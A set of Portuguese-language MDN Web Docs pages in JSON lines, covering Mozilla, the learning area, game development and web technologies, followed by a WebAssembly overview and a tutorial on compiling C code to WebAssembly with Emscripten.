{"title":"Mozilla","text":"Mozilla\n=======\n\nOs artigos abaixo incluem conteúdos sobre como baixar e compilar os códigos fontes da Mozilla. Além disso, encontrará artigos úteis sobre como o código funciona, como desenvolver complementos para aplicativos Mozilla e afins.\n\nComplementosModifique e amplie os aplicativos da Mozilla\n\nFirefoxO Firefox é um popular navegador de internet da Mozilla, disponível para várias plataformas como Windows, Mac OS X e Linux no desktop, bem como Android e iOS nos dispositivos móveis. Sendo altamente compatível com as últimas tecnologias web e poderosas ferramentas de desenvolvimento, o Firefox é um excelente navegador tanto para usuários comuns quanto desenvolvedores web."}
{"title":"Aprendendo desenvolvimento web","text":"Aprendendo desenvolvimento web\n==============================\n\nBem-vindo à área de aprendizado da MDN. Este conjunto de artigos tem como objetivo fornecer aos iniciantes no desenvolvimento web tudo o que eles precisam para começar a codificar sites.\n\nO objetivo desta área da MDN não é levá-lo de \"iniciante\" a \"especialista\", mas levá-lo de \"iniciante\" a \"confortável\". A partir daí, você poderá começar a fazer o seu próprio caminho, aprendendo com o restante da MDN e outros recursos intermediários a avançados que assumem muito conhecimento prévio.\n\nSe você é um iniciante, o desenvolvimento web pode ser desafiador - nós o ajudaremos e forneceremos detalhes suficientes para que você se sinta à vontade e aprenda os tópicos adequadamente. Você deve se sentir em casa, seja um aluno aprendendo desenvolvimento web (sozinho ou como parte de uma classe), um professor que procura materiais para a aula, um hobby ou alguém que só quer entender mais sobre como as tecnologias web funcionam.\n\nO que há de novo?\n-----------------\n\nO conteúdo da área de aprendizado está sendo adicionado regularmente. Começamos a manter as Notas de versão da área de aprendizado para mostrar o que mudou - verifique regularmente!\n\nSe você tiver dúvidas sobre os tópicos que gostaria de ver cobertos ou que estão faltando, envie-nos uma mensagem em nosso Fórum de discussão.\n\nOnde começar\n------------\n\n* Iniciante: Se você é um iniciante no desenvolvimento web, recomendamos que você comece trabalhando no nosso módulo Introdução à Web, que fornece uma introdução prática ao desenvolvimento web.\n* Perguntas específicas: Se você tiver uma pergunta específica sobre desenvolvimento web, nossa seção Perguntas comuns pode ter algo para ajudá-lo.\n* Além do básico: Se você já possui um pouco de conhecimento, o próximo passo é aprender HTML e CSS em detalhes: comece com o módulo Introdução ao HTML e vá para nosso módulo Primeiros passos com CSS.\n* Passando para o script: Se você já está familiarizado com HTML e CSS ou se interessa principalmente por codificação, deve passar para o JavaScript ou para o desenvolvimento no servidor. Comece com nossos módulo Primeiros passos com JavaScript e Primeiros passos programando o site no servidor.\n\n**Nota:** Nosso glossário fornece definições de terminologia.\n\nAssuntos abordados\n------------------\n\nA seguir, uma lista de todos os tópicos abordados na área de aprendizado da MDN.\n\nIntordução à Web\n\nFornece uma introdução prática ao desenvolvimento da web para iniciantes.\n\nHTML - Estruturando a Web\n\nHTML é a linguagem que usamos para estruturar as diferentes partes do nosso conteúdo e definir qual é o seu significado ou propósito. Este tópico ensina HTML em detalhes.\n\nCSS - Estilizando a Web\n\nCSS é a linguagem que podemos usar para estilizar e esquematizar nosso conteúdo web, além de adicionar comportamentos como animação. Este tópico fornece uma cobertura abrangente de CSS.\n\nJavaScript — Script dinamico do lado do cliente\n\nJavaScript é a linguagem de script usada para adicionar funcionalidade dinâmica a páginas da web. Este tópico ensina todos os elementos essenciais necessários para se sentir confortável com a escrita e a compreensão do JavaScript.\n\nFormulários web - Trabalhando com dados do usuário\n\nOs formulários web são uma ferramenta muito poderosa para interagir com os usuários - geralmente são usados para coletar dados dos usuários ou permitir que eles controlem uma interface do usuário. Nos artigos listados abaixo, abordaremos todos os aspectos essenciais da estruturação, estilo e interação com os formulários web.\n\nAcessibilidade - torne a web utilizável por todos\n\nAcessibilidade é a prática de disponibilizar o conteúdo web para o maior número possível de pessoas, independentemente da deficiência, dispositivo, localidade ou outros fatores de diferenciação. Este tópico fornece tudo o que você precisa saber.\n\nDesempenho da Web - tornando os sites rápidos e responsivos\n\nO desempenho da Web é a arte de garantir que os aplicativos façam download rápido e respondam à interação do usuário, independentemente da capacidade, tamanho da tela, rede ou recursos do dispositivo.\n\nFerramentas e testes\n\nEste tópico aborda as ferramentas que os desenvolvedores usam para facilitar seu trabalho, como ferramentas de teste entre navegadores, linters, formatadores, ferramentas de transformação, sistemas de controle de versão e ferramentas de implantação.\n\nProgramação do site no servidor\n\nMesmo se você estiver se concentrando no desenvolvimento web do lado do cliente, ainda é útil saber como os servidores e os recursos de código do lado do servidor funcionam. Este tópico fornece uma introdução geral sobre como funciona o lado do servidor e tutoriais detalhados que mostram como criar um aplicativo do lado do servidor usando duas frameworks populares - Django (Python) e Express (Node.js).\n\nObtendo nossos exemplos de código\n---------------------------------\n\nOs exemplos de código que você encontrará na Área de aprendizado estão disponíveis no GitHub. Se você deseja copiar todos eles para o seu computador, a maneira mais fácil é fazer o download de um ZIP da última ramificação do código mestre.\n\nSe você preferir copiar o repositório de uma maneira mais flexível que permita atualizações automáticas, siga as instruções mais complexas:\n\n1. Instale o Git na sua máquina. Este é o software do sistema de controle de versão, no qual o GitHub trabalha.\n2. Abra o prompt de comando do seu computador (Windows) ou terminal (Linux, macOS).\n3. Para copiar o repositório da área de aprendizado para uma pasta chamada learning-area no local atual para o qual o prompt de comando / terminal está apontando, use o seguinte comando:\n\n```bash\ngit clone https://github.com/mdn/learning-area\n```\n\n4. Agora você pode entrar no diretório e encontrar os arquivos que procura (usando o Finder / File Explorer ou o comando cd).\n\nVocê pode atualizar o repositório `learning-area` com as alterações feitas na versão principal no GitHub com as seguintes etapas:\n\n1. No prompt de comando / terminal, entre no diretório `learning-area` usando `cd`. Por exemplo, se você estivesse no diretório pai:\n\n```bash\ncd learning-area\n```\n\n2. Atualize o repositório usando o seguinte comando:\n\n```bash\ngit pull\n```\n\nContate-nos\n-----------\n\nSe você quiser entrar em contato conosco sobre qualquer coisa, a melhor maneira é enviar uma mensagem para o nosso Fórum de discussão. Gostaríamos de ouvir sua opinião sobre qualquer coisa que você acha que está errada ou ausente no site, solicitações de novos tópicos de aprendizado, solicitações de ajuda com itens que você não entende ou qualquer outra pergunta ou preocupação.\n\nSe você estiver interessado em ajudar a desenvolver / melhorar o conteúdo, veja como você pode ajudar e entre em contato! Temos o prazer em conversar com você, seja você um aluno, professor, desenvolvedor web experiente ou alguém interessado em ajudar a melhorar a experiência de aprendizado.\n\nVeja também\n-----------\n\nBoletim informativo para desenvovedores mozilla\n\nNosso boletim informativo para desenvolvedores web, que é um excelente recurso para todos os níveis de experiência.\n\nLearn JavaScript\n\nUm excelente recurso para aspirantes a desenvolvedores web - Aprenda JavaScript em um ambiente interativo, com breves lições e testes interativos, guiados por avaliação automatizada. As primeiras 40 lições são gratuitas e o curso completo está disponível por um pequeno pagamento único.\n\nWeb demystified\n\nUma grande série de vídeos explicando os fundamentos da web, destinados a iniciantes no desenvolvimento web. Criado por Jérémie Patonnier.\n\nCodecademy\n\nUm ótimo site interativo para aprender linguagens de programação do zero.\n\nBitDegree\n\nTeoria básica de programação com um processo de aprendizado gamificado. Principalmente focado em iniciantes.\n\nCode.org\n\nTeoria e prática básicas de programação, destinadas principalmente a crianças / iniciantes.\n\nEXLskills\n\nCursos gratuitos e abertos para o aprendizado de habilidades técnicas, com orientação e aprendizado baseado em projetos.\n\nfreeCodeCamp.org\n\nSite interativo com tutoriais e projetos para aprender desenvolvimento web.\n\nWeb literacy map\n\nUma estrutura para alfabetização na web de nível básico e habilidades do século XXI, que também fornece acesso a atividades de ensino classificadas por categoria.\n\nEdabit\n\nMilhares de desafios interativos de JavaScript."}
{"title":"Desenvolvimento de jogos","text":"Desenvolvimento de jogos\n========================\n\nJogar é uma das atividades mais populares em computadores. Novas tecnologias aparecem, constantemente, para tornar possível o desenvolvimento de jogos melhores e mais poderosos, que podem ser executados em qualquer navegador compatível com os padrões web.\n\nDesenvolver jogos web\n---------------------\n\nBem-vindas ao centro de desenvolvimento de jogos MDN! Nesta área da página oferecemos recursos para desenvolvedores web que querem dedicar-se a jogos. Você encontrará muitos tutoriais úteis e artigos técnicos no menu principal à sua esquerda - sinta-se livre para explorá-los.\n\nTambém incluímos uma seção de referências para que você possa, facilmente, encontrar informações sobre todas APIs mais usadas no desenvolvimento de jogos, acompanhadas de uma lista de ferramentas e engines úteis e, exemplos de jogos.\n\n**Nota:** Você já deve ter um conhecimento básico sobre as principais tecnologias web — tais como HTML, CSS e Javascript — antes de tentar criar jogos web. A Área de aprendizado é o melhor para você, se você for completamente principiante.\n\nLeve jogos nativos para a Web\n-----------------------------\n\nSe você é programador nativo (codifica jogos em C++ por exemplo) e tem interesse em levar os seus jogos para a Web, você deve aprender mais sobre a nossa ferramenta Emscripten — é uma LLVM para o compilador JavaScript que carrega bytecode LLVM (exemplo: código gerado do C/C++ usando Clang, ou de qualquer outra linguagem de programação) e compila esses bytecodes para asm.js, que pode rodar na Web.\n\nPara começar, veja:\n\n* Sobre Emscripten - introdução que inclui detalhes de alto nível.\n* Baixar e instalar - para instalar o conjunto de ferramentas.\n* Emscripten Tutorial - um tutorial que vai te mostrar como começar.\nExemplos\n--------\n\nPara uma lista de exemplos de jogos web, veja a nossa página de exemplos. Também dê uma olhada em openwebgames.com para mais exemplos e recursos úteis!\n\n![](/pt-BR/docs/Games/owg-logo-dark.svg)\n\nVeja também\n-----------\n\nDesenvolva Novos Jogos\n\nUm portal colaborativo com um grande número de tutoriais de desenvolvimento de jogos web. Não tem estado muito ativo ultimamente, mas ainda possui algumas dicas boas.\n\nCreative JS\n\nUma coletânea de impressivas técnicas e experimentos Javascript, não específicas para jogos mas, ainda assim, úteis. Não tem estado muito ativo ultimamente, mas também possui algumas dicas boas.\n\nPadrões de desenvolvimento de jogos\n\nUm e-book, escrito por Bob Nystrom, que discute padrões de programação no contexto de desenvolvimento de jogos com o objetivo de ajudar desenvolvedores a produzir códigos mais efetivos e eficientes.\n\n~~Blog Artillery~~ - Inativo\n\nA empresa de jogos HTML5 Artillery possui alguns artigos interessantes no seu blogue.\n\nDesenvolvendo jogos para o Firefox OS\n\nUm guia rápido para criar jogos 2D com HTML5, para a sua distribuição no Firefox OS e outras plataformas móveis.\n\nGamedev.js Weekly\n\nBoletim de notícias semanal sobre desenvolvimento de jogos HTML5, lançado toda Sexta-Feira. Contém os últimos artigos, tutoriais, ferramentas e recursos.\n\nHTML5 Game Devs Forum\n\nFóruns para desenvolvedores, criadores de framework e publicadores. Faça perguntas, obtenha retorno, ajude outras pessoas.\n\nHTML5 Game Engine\n\nLista dos frameworks HTML5 mais populares para jogos, juntamente com a sua classificação, benefícios e exemplos.\n\nJSBreakouts\n\nCompare JavaScript clonando em diferentes frameworks para te ajudar a escolher o melhor para você.\n\nTuts+ Desenvolvimento de Jogos\n\nTutoriais e artigos sobre desenvolvimento de jogos em geral.\n\n#BBG IRC chat\n\nFale, diretamente, com desenvolvedores, em tempo real.\n\nHTML5 Gamedev Starter\n\nPartida para novos desenvolvedores de jogos, uma lista organizada de links para vários recursos úteis na web.\n\njs13kGames\n\nCompetição de codificação JavaScript para desenvolvedores de jogos HTML5 com tamanho de arquivo limitado a 13 kilobytes. Todos os jogos submetidos estão disponíveis no Github para leitura.\n\nMozilla Hacks blog\n\nCategoria de Jogos no Mozilla Hacks blog, contém artigos interessantes relacionados a gamedev.\n\nVisual-js game engine\n\n2d/3d/webSocket engine orientada a jogos. Conjunto de ferramentas apenas para Windows. Hospedado no site de projetos bitbucket."}
{"title":"O projeto MDN","text":"O projeto MDN\n=============\n\nO **MDN Web Docs** é uma wiki onde nós documentamos a Web aberta, as tecnologias Mozilla e outros tópicos de desenvolvedores. Qualquer pessoa é bem-vinda para adicionar e editar conteúdo. Você não precisa ser um programador ou saber muito sobre tecnologia; há muitas tarefas diferentes que precisam ser executadas, desde os simples (corrigir erros de leitura e erros de correção) até as mais complexas (escrever a documentação da API).\n\nA missão do MDN Web Docs é fornecer aos desenvolvedores as informações necessárias para criar facilmente na plataforma web. Nós convidamos você a ajudar!\n\nNós precisamos da sua ajuda! É fácil. Não se preocupe em pedir permissão ou em cometer erros. Por outro lado, por favor, conheça a comunidade MDN; estamos aqui para ajudá-lo! A documentação abaixo, pode te ajudar a começar.\n\n* Início rápido para iniciantes Você é novo no MDN e quer aprender como ajudar a torná-lo melhor? Comece aqui!\n* Eu sou um usuário avançado Acesse nosso guia completo e aprofundado para os colaboradores do MDN para aprender mais quando você se sentir confortável.\n* Compartilhe Se você ama o MDN, compartilhe a nossa a rede! Encontre o material necessário, como arte, ferramentas e guias para promover o MDN."}
{"title":"Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Glossário do MDN Web Docs: Definições de termos relacionados à Web\n==================================================================\n\nTecnologias da Web contém longas listas de jargões e abreviações usadas em documentação e codificação. Este glossário fornece definições de palavras e abreviaturas que você precisa saber para entender e desenvolver para a web com sucesso.\n\nOs termos do glossário podem ser selecionados na barra lateral.\n\n**Nota:** Este glossário é um trabalho interminável em andamento. Você pode ajudar a melhorá-lo escrevendo novas entradas ou melhorando as já existentes."}
{"title":"Tecnologia Web para desenvolvedores","text":"Tecnologia Web para desenvolvedores\n===================================\n\nA Web aberta apresenta oportunidades incríveis para os desenvolvedores. Para tirar o máximo proveito dessas tecnologias, você precisa saber como usá-las. Abaixo, você encontrará links para nossa documentação de tecnologias Web.\n\nDocumentação para desenvolvedores Web\n-------------------------------------\n\nGuia para Desenvolvedores Web\n\nO Guia para Desenvolvedores Web provê um conteúdo útil de informações, para realmente ajudá-lo a usar as tecnologias Web para fazer o que deseja ou precisa.\n\nTutoriais para Desenvolvedores Web\n\nUma lista de tutoriais para orientá-lo passo a passo no aprendizado de APIs, tecnologias ou áreas abrangentes dos tópicos.\n\nAcessibilidade\n\nPermitir que o maior número possível de pessoas use sites, mesmo quando as habilidades dessas pessoas são limitadas de alguma forma.\n\nPerformance\n\nTornar o conteúdo o mais disponível e interativo possível, o mais rápido possível.\n\nSecurity\n\nProtegendo os usuários contra vazamentos de dados e roubo de dados, ataques de canal lateral e ataques como scripts entre sites, injeção de conteúdo e click-jacking.\n\nReferências para Tecnologias Web\n--------------------------------\n\nAPIs da Web\n\nAPIs de programação JavaScript que você pode usar para criar aplicativos na Web.\n\nHTML\n\nHTML fornece os blocos de construção fundamentais para estruturar documentos e aplicativos da Web.\n\nCSS\n\nFolhas de estilo em cascata são usadas para descrever a aparência de documentos e aplicativos da Web.\n\nJavaScript\n\nJavaScript é a linguagem de programação nativa da Web.\n\nWebAssembly\n\nO WebAssembly permite que programas escritos em C, C++, Rust, Swift, C#, Go e muito mais sejam executados na Web.\n\nEventos (en-US)\n\nEventos são o que você cria aplicativos da Web para reagir; por exemplo, quando uma página da Web termina de carregar ou um usuário seleciona algo, pressiona uma tecla, redimensiona uma janela, envia um formulário ou pausa um vídeo.\n\nHTTP\n\nHTTP é o protocolo fundamental da Internet para buscar documentos, folhas de estilo, scripts, imagens, vídeos, fontes e outros recursos pela Web — e para enviar dados de volta aos servidores Web.\n\nMídia (en-US)\n\nFormatos, codecs, protocolos, APIs e técnicas para incorporar e transmitir conteúdo de vídeo, áudio e imagem em documentos e aplicativos da Web.\n\nSVG\n\nGráficos vetoriais escaláveis permitem que você crie imagens que podem ser dimensionadas suavemente para qualquer tamanho.\n\nMathML\n\nMathML permite exibir notações matemáticas complexas na Web.\n\nComponentes da Web\n\nComponentes Web são elementos personalizados que você pode definir e reutilizar em seus aplicativos Web.\n\nWebDriver (en-US)\n\nWebDriver é um mecanismo de automação de navegador para controlar remotamente um navegador emulando as ações de uma pessoa real usando o navegador. É amplamente usado para testes entre navegadores de aplicativos da Web.\n\nExtensões da Web\n\nExtensões da Web são uma maneira de você fornecer aos usuários recursos aprimorados em seus navegadores — para fazer coisas como bloquear anúncios e outros conteúdos, personalizar a aparência das páginas e muito mais.\n\nManifestos de aplicativos da Web\n\nManifestos de aplicativos da Web permitem que os usuários instalem aplicativos da Web nas telas iniciais de seus dispositivos, com aspectos como orientação de tela retrato/paisagem e modo de exibição (por exemplo, tela cheia) predefinidos.\n\nProgressive Web Apps (PWAs) (en-US)\n\nProgressive Web Apps fornecem uma experiência de usuário semelhante a aplicativos móveis nativos.\n\nDocumentação das ferramentas do desenvolvedor\n---------------------------------------------\n\nFerramentas do desenvolvedor do Firefox\n\nDocumentação para o conjunto de ferramentas de desenvolvimento web incorporadas ao Firefox.\n\nChrome DevTools\n\nDocumentação para o conjunto de ferramentas de desenvolvedor da Web incorporadas ao Chrome.\n\nSafari Web Inspector\n\nDocumentação para o conjunto de ferramentas de desenvolvedor da Web incorporadas ao Safari.\n\nEdge DevTools\n\nDocumentação para o conjunto de ferramentas de desenvolvedor da Web incorporadas ao Edge."}
{"title":"WebAssembly","text":"WebAssembly\n===========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO WebAssembly é um novo tipo de código que pode ser executado em browsers modernos — se trata de uma linguagem de baixo nível como assembly, com um formato binário compacto que executa com performance quase nativa e que fornece um novo alvo de compilação para linguagens como C/C++, para que possam ser executadas na web. Também foi projetado para executar em conjunto com o JavaScript, permitindo que ambos trabalhem juntos.\n\nEm poucas palavras\n------------------\n\nO WebAssembly tem enormes aplicações para a plataforma web — ele irá fornecer uma maneira de executar na web código escrito em diversas linguagens em velocidade quase nativa, com apps que não conseguiriam fazer isso antes.\n\nO WebAssembly foi projetado para complementar e executar lado a lado com JavaScript — usando as APIs JavaScript do WebAssembly, você pode carregar módulos WebAssembly em um aplicativo JavaScript e compartilhar funcionalidade entre ambos. Isso permite que você aproveite o desempenho e poder da WebAssembly e a expressividade e flexibilidade do JavaScript nos mesmos aplicativos, mesmo que você não saiba como escrever código de WebAssembly.\n\nE o que é ainda melhor é que ele está sendo desenvolvido como um padrão web através da W3C WebAssembly Community Group com participantes ativos de todos os principais fornecedores de browsers.\n\nGuias\n-----\n\nConceitos WebAssembly\n\nComece lendo os conceitos de alto nível por trás do WebAssembly - o que é, por que é tão útil, como ele se encaixa na plataforma web e como usá-lo.\n\nCompilando C/C++ para WebAssembly\n\nQuando você escreve o código em C/C++, você pode então compilá-lo em .wasm usando uma ferramenta como Emscripten. Veja como isso funciona.\n\nCarregando e executando código WebAssembly (en-US)\n\nDepois de ter um .wasm, este artigo aborda como buscá-lo, compilá-lo e instanciá-lo, combinando a API JavaScript WebAssembly (en-US)como Obter ou APIs XHR.\n\nCompilando módulos de WebAssembly no cache\n\nO cache de grandes módulos WebAssembly no cliente é útil para melhorar o desempenho da inicialização do aplicativo. Este artigo explica como usar isso usando IndexedDB.\n\nUsando a API JavaScript do WebAssembly\n\nDepois de carregar um módulo .wasm, você vai querer usá-lo. Neste artigo, mostramos como usar a WebAssembly através da API JavaScript da WebAssembly.\n\nExportando funções de WebAssembly (en-US)\n\nFunções WebAssembly exportadas são as reflexões de JavaScript das funções da WebAssembly e permitem chamar o código WebAssembly do JavaScript. Este artigo descreve o que são.\n\nCompreendendo o formato de texto do WebAssembly\n\nEste artigo explica o formato de texto wasm. Esta é a representação textual de baixo nível de um módulo .wasm mostrado nas ferramentas de desenvolvedor do navegador ao depurar.\n\nConvertendo o formato de texto do WebAssembly para o wasm (en-US)\n\nEste artigo fornece um guia sobre como converter um módulo WebAssembly escrito no formato de texto em um binário .wasm.\n\nReferência da API\n-----------------\n\n`WebAssembly` (en-US)\n\nEste objeto atua como o espaço para todas as funcionalidade relacionada à WebAssembly.\n\n`WebAssembly.Module` (en-US)\n\nA `WebAssembly.Module` o objeto contém o código da WebAssembly sem estado que já foi compilado pelo navegador e pode ser eficientemente compartilhado com os trabalhos (en-US), armazenados em cache no IndexedDB, e instanciados várias vezes.\n\n`WebAssembly.Instance` (en-US)\n\nA `WebAssembly.Instance` o objeto é uma instância executável e estável de um `Módulo`. Os objetos `Instanciados` contêm todas as funções de WebAssembly exportadas (en-US)que permitem chamar o código WebAssembly do JavaScript.\n\n`WebAssembly.instantiate()` (en-US)\n\nThe `WebAssembly.instantiate()` a função é a API primária para compilar e instanciar o código WebAssembly, retornando um `Module` e sua primeira `instância`.\n\n`WebAssembly.Memory()` (en-US)\n\nEm `WebAssembly`. O objeto `Memory` é redimensionável `ArrayBuffer` que detém os bytes de memória invocados por uma `instância` de código.\n\n`WebAssembly.Table()` (en-US)\n\nEm `WebAssembly`. O objeto `Table` é uma matriz redimensionável de valores opacos, como referências de funções, acessadas por uma `instância` de código.\n\n`WebAssembly.CompileError()` (en-US)\n\nCria um novo objeto WebAssembly `CompileError`.\n\n`WebAssembly.LinkError()` (en-US)\n\nCria um novo objeto WebAssembly `LinkError`.\n\n`WebAssembly.RuntimeError()` (en-US)\n\nCria um novo objeto WebAssembly `RuntimeError`.\n\nExemplos\n--------\n\n* WASMSobel\n* Consulte nosso webassembly-examples para outros exemplos.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebAssembly JavaScript Interface  |\n\nCompatibilidade do navegador\n----------------------------\n\n{{Compat}}Veja também\n-----------\n\n* webassembly.org\n* WebAssembly articles on Mozilla Hacks blog\n* W3C WebAssembly Community Group\n* Large-Allocation HTTP header"}
{"title":"Compilando um novo módulo C/C++ para WebAssembly - WebAssembly","text":"Compilando um novo módulo C/C++ para WebAssembly\n================================================\n\nQuando você escreve um novo módulo de código em uma linguagem como C/C++, você pode compilá-lo no WebAssembly usando uma ferramenta como Emscripten. Vejamos como funciona.\n\nConfiguração do ambiente Emscripten\n-----------------------------------\n\nPrimeiro, vamos configurar o ambiente de desenvolvimento necessário.\n\n### Pré-requisitos\n\nObtenha o SDK Emscripten, seguindo estas instruções https://emscripten.org/docs/getting\\_started/downloads.html\n\nCompilando um exemplo\n---------------------\n\nCom o ambiente configurado, vamos ver como usá-lo para compilar um exemplo C para Emscripten. Há várias opções disponíveis ao compilar com o Emscripten, mas os dois principais cenários que abordaremos são:\n\n* Compilando para wasm e criando HTML para executar nosso código, além de todo o código JavaScript \"cola\" necessário para executar o wasm no ambiente web.\n* Compilando para wasm e apenas criando o JavaScript.\n\nVeremos ambos a seguir.\n\n### Criando HTML e JavaScript\n\nEste é o caso mais simples que veremos, no qual você obtém emscripten para gerar tudo o que precisa para executar seu código, como WebAssembly, no navegador.\n\n1. Primeiro precisamos de um exemplo para compilar. Faça uma cópia do seguinte exemplo simples em C e salve-o em um arquivo chamado `hello.c` em um novo diretório em sua unidade local:\n\n```cpp\n#include <stdio.h>\n\nint main() {\n    printf(\"Hello World\\n\");\n    return 0;\n}\n```\n\n2. Agora, usando a janela do terminal que você usou para entrar no ambiente do compilador Emscripten, navegue até o mesmo diretório que seu arquivo `hello.c` e execute o seguinte comando:\n\n```bash\nemcc hello.c -o hello.html\n```\n\n\nAs opções que passamos com o comando são as seguintes:\n\n* `-o hello.html` — Especifica que queremos que o Emscripten gere uma página HTML para executar nosso código (e um nome de arquivo para usar), bem como o módulo wasm e o código JavaScript \"glue\" para compilar e instanciar o wasm para que possa ser usado no ambiente web. de to compile and instantiate the wasm so it can be used in the web environment.\n\nNeste ponto em seu diretório de origem, você deve ter:\n\n* O código binário do módulo wasm (`hello.wasm`)\n* Um arquivo JavaScript contendo código de cola para traduzir entre as funções C nativas e JavaScript/wasm (`hello.js`)\n* Um arquivo HTML para carregar, compilar e instanciar seu código wasm e exibir sua saída no navegado (`hello.html`)\n### Executando seu exemplo\n\nAgora tudo o que resta é você carregar o resultado `hello.html` em um navegador que suporte WebAssembly. Ele é ativado por padrão no Firefox 52, Chrome 57, Edge 57, Opera 44.\n\n**Nota:** Se você tentar abrir o arquivo HTML gerado (`hello.html`) diretamente de seu disco rígido local (por exemplo, `file://your_path/hello.html`), você terminará com uma mensagem de erro ao longo das linhas de `both async and sync fetching of the wasm failed.` Você precisa executar seu arquivo HTML por meio de um servidor HTTP (`http://`) — consulte Como você configura um servidor de teste local Para maiores informações.\n\n Se tudo funcionou como planejado, você deverá ver a saída \"Hello world\" no console do Emscripten aparecendo na página da Web e no console JavaScript do seu navegador. Parabéns, você acabou de compilar C para WebAssembly e executá-lo em seu navegador!\n\n ![image](/pt-BR/docs/WebAssembly/C_to_Wasm/helloworld.png)\n\n### Usando um modelo HTML personalizado\n\nÀs vezes você vai querer usar um modelo HTML personalizado. Vejamos como podemos fazer isso.\n\n1. Antes de tudo, salve o seguinte código C em um arquivo chamado `hello2.c`, em um novo diretório:\n\n```cpp\n#include <stdio.h>\n\nint main() {\n    printf(\"Hello World\\n\");\n    return 0;\n}\n```\n\n2. Procure o arquivo `shell_minimal.html` em seu repositório emsdk. Copie-o para um subdiretório chamado `html_template` dentro do seu novo diretório anterior.\n3. Agora navegue em seu novo diretório (novamente, na janela do terminal do ambiente do compilador Emscripten) e execute o seguinte comando:\n\n```bash\nemcc -o hello2.html hello2.c -O3 --shell-file html_template/shell_minimal.html\n```\n\nAs opções que passamos são um pouco diferentes desta vez:\n    * Nós especificamos `-o hello2.html`, o que significa que o compilador ainda produzirá o código de cola JavaScript e `.html`.\n    * Também especificamos `--shell-file html_template/shell_minimal.html` — isso fornece o caminho para o modelo HTML que você deseja usar para criar o HTML pelo qual você executará seu exemplo.\n4. Agora vamos executar este exemplo. O comando acima terá gerado `hello2.html`, que terá praticamente o mesmo conteúdo do modelo com algum código de cola adicionado para carregar o wasm gerado, executá-lo etc. Abra-o em seu navegador e você verá a mesma saída do último exemplo.\n\nVocê pode especificar a saída apenas do arquivo JavaScript \"cola\" em vez do HTML completo especificando um arquivo .js em vez de um arquivo HTML no `-o` flag, e.g. `emcc -o hello2.js hello2.c -O3`. Você poderia então construir seu HTML personalizado completamente do zero, embora esta seja uma abordagem avançada; geralmente é mais fácil usar o modelo HTML fornecido.\n\n* O Emscripten requer uma grande variedade de código JavaScript \"cola\" para lidar com alocação de memória, vazamentos de memória e uma série de outros problemas\n\n### Chamando uma função personalizada definida em C\n\nSe você tiver uma função definida em seu código C que deseja chamar conforme necessário do JavaScript, você pode fazer isso usando o Emscripten com a função `ccall()`, e a declaração `EMSCRIPTEN_KEEPALIVE` (que adiciona suas funções à lista de funções exportadas (consulte Por que as funções no meu código-fonte C/C++ desaparecem quando compilo para JavaScript e/ou recebo Nenhuma função para processar). Vejamos como isso funciona\n\n1. Para começar, salve o seguinte código como `hello3.c` em um novo diretório:\n\n```cpp\n#include <stdio.h>\n#include <emscripten/emscripten.h>\n\nint main() {\n    printf(\"Hello World\\n\");\n    return 0;\n}\n\n#ifdef \\_\\_cplusplus\n#define EXTERN extern \"C\"\n#else\n#define EXTERN\n#endif\n\nEXTERN EMSCRIPTEN_KEEPALIVE void myFunction(int argc, char \\*\\* argv) {\n    printf(\"MyFunction Called\\n\");\n}\n```\n\nPor padrão, o código gerado pelo Emscripten sempre chama a função `main()` e outras funções são eliminadas como código morto. Colocando `EMSCRIPTEN_KEEPALIVE` antes que um nome de função impeça que isso aconteça. Você também precisa importar a biblioteca `emscripten.h` para usar `EMSCRIPTEN_KEEPALIVE`.\n\n**Nota:** Estamos incluindo os blocos `#ifdef` para que, se você estiver tentando incluir isso no código C++, o exemplo ainda funcione. Devido às regras de desmembramento de nomes C versus C++, isso seria quebrado, mas aqui estamos definindo-o para que seja tratado como uma função C externa se você estiver usando C++.\n2. Agora adicione `html_template/shell_minimal.html` com {{ SCRIPT }}} como conteúdo neste novo diretório também, apenas por conveniência (você obviamente colocaria isso em um local central em seu ambiente de desenvolvimento real).\n3. Agora vamos executar a etapa de compilação novamente. De dentro do seu diretório mais recente (e enquanto estiver dentro da janela do terminal do ambiente do compilador Emscripten), compile seu código C com o seguinte comando. (Observe que precisamos compilar com `NO_EXIT_RUNTIME`, o que é necessário caso contrário quando main() terminasse, o tempo de execução seria encerrado - necessário para a emulação C adequada, por exemplo, atexits são chamados - e não seria válido chamar o código compilado.)\n\n```bash\nemcc -o hello3.html hello3.c -O3 --shell-file html_template/shell_minimal.html -s NO\\_EXIT\\_RUNTIME=1 -s \"EXPORTED\\_RUNTIME\\_METHODS=['ccall']\"\n```\n\n4. Se você carregar o exemplo em seu navegador novamente, verá a mesma coisa de antes!\n5. Agora precisamos executar nosso nova função `myFunction()` do JavaScript. Antes de tudo, abra seu arquivo hello3.html em um editor de texto.\n6. Adicione um elemento `<button>` como mostrado abaixo, logo acima da primeira abertura da tag `<script type='text/javascript'>`.\n\n```html\n<button id=\"mybutton\">Run myFunction</button>\n```\n\n7. Agora adicione o seguinte código no final do primeiro elemento `<script>`:\n\n```js\ndocument.getElementById(\"mybutton\").addEventListener(\"click\", () => {\n  alert(\"check console\");\n  const result = Module.ccall(\n    \"myFunction\", // name of C function\n    null, // return type\n    null, // argument types\n    null, // arguments\n  );\n});\n```\n\n\nIsso ilustra como ccall() é usado para chamar a função exportada.\n\nVeja também\n-----------\n\n* emscripten.org — saiba mais sobre Emscripten e sua grande variedade de opções.\n* Chamando de C compilado as funções de JavaScript usando ccall/cwrap\n* Por que as funções no meu código-fonte C/C++ desaparecem quando compilo para JavaScript e/ou não recebo nenhuma função para processar?\n* WebAssembly na Mozilla Research\n* Compilando um módulo C existente para o WebAssembly (en-US)"}
